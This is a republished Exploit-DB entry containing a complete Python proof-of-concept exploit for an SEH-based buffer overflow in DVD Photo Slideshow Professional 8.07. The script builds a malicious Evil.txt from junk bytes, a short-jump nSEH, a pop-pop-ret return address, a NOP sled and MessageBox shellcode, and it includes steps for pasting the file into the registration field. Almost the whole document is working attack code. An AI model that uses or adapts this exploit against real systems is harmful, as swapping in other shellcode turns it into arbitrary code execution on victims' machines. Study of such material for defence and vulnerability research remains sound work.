DVD Photo Slideshow Professional 8.07 – Buffer Overflow (SEH)

  • 作者: T3jv1l
    日期: 2018-09-07
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/45346/
  • # Exploit Title: DVD Photo Slideshow Professional8.07 - Buffer Overflow (SEH)
    # Date: 2018-09-06
    # Exploit Author:T3jv1l
    # Vendor Homepage:http://www.dvd-photo-slideshow.com/
    # Software:www.dvd-photo-slideshow.com/dps_install.exe
    # Category:Local
    # Contact:https://twitter.com/T3jv1l
    # Version: DVD Photo Slideshow Professional8.07
    # Tested on: Windows 7 SP1 x86
    # Method Corelan Coder : https://www.corelan.be/index.php/2009/07/28/seh-based-exploit-writing-tutorial-continued-just-another-example-part-3b/
    
    #!/bin/python
    
    print"""
    #1.Download and install the setup file
    #2.Run this exploit code via python 2.7
    #3.A file "Evil.txt" will be created
    #4.Click Help > Register... in tool bar
    #5.Copy the contents of the file (Evil.txt)and paste in the Registration Name field 
    #6.Click Activate and BOOMMMM !!!! """
    
    import struct
    
    junk_byte = "A" * 256
    nseh = "\x90\x90\xeb\x10"
    seh = struct.pack("<L",0x100152c9) # 0x100152c9 : pop edi # pop esi # ret
    nop = "\x90" *24
    
    #Windows - MessageBox + Null-Free Shellcode (113 bytes) : BrokenByte
     
    buf = ("\x31\xd2\xb2\x30\x64\x8b\x12\x8b\x52\x0c\x8b\x52\x1c\x8b\x42"
    "\x08\x8b\x72\x20\x8b\x12\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03"
    "\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x31\xed\x8b"
    "\x34\xaf\x01\xc6\x45\x81\x3e\x46\x61\x74\x61\x75\xf2\x81\x7e"
    "\x08\x45\x78\x69\x74\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c"
    "\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x68\x79\x74"
    "\x65\x01\x68\x6b\x65\x6e\x42\x68\x20\x42\x72\x6f\x89\xe1\xfe"
    "\x49\x0b\x31\xc0\x51\x50\xff\xd7")
    
    crash = "T" * (4000 -len(junk_byte+nseh+seh+nop+buf))
    exploit = junk_byte + nseh + seh + nop + buf + crash
    try: 
    f=open("Evil.txt","w")
    f.write(exploit)
    f.close()
    except:
     print "[+] File cannot be created"